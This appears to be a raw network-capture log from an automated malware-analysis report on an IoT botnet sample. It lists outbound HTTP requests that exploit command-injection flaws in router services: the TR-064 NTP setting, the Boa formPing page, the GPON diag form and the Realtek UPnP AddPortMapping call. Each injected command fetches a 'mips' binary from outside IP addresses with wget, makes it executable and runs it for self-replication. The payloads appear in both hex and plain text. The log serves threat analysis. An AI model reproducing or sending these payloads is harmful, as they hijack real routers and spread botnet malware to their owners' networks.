Apr 15, 2024 08:53:39.883266926 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.13	33756	47.149.241.164	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:40.479818106 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.13	34222	119.23.82.148	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:40.553693056 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.13	41210	178.48.11.205	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:40.873405933 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:41.284388065 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:42.272372961 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:44.224375010 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:48.128379107 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:56.064364910 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.13	33548	104.232.64.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.049109936 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:45.312383890 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.456427097 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.13	56352	172.65.91.68	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.049504042 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.13	45176	189.216.7.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.103177071 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.13	46382	3.234.243.236	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.111879110 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.328499079 CEST	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.13	42630	23.217.212.65	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.173506975 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.13	42638	23.217.212.65	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.173544884 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.13	42244	210.128.101.201	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.199836016 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:44.288455009 CEST	536	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot
Apr 15, 2024 08:53:50.432405949 CEST	536	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.13	56404	172.65.91.68	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.202467918 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping 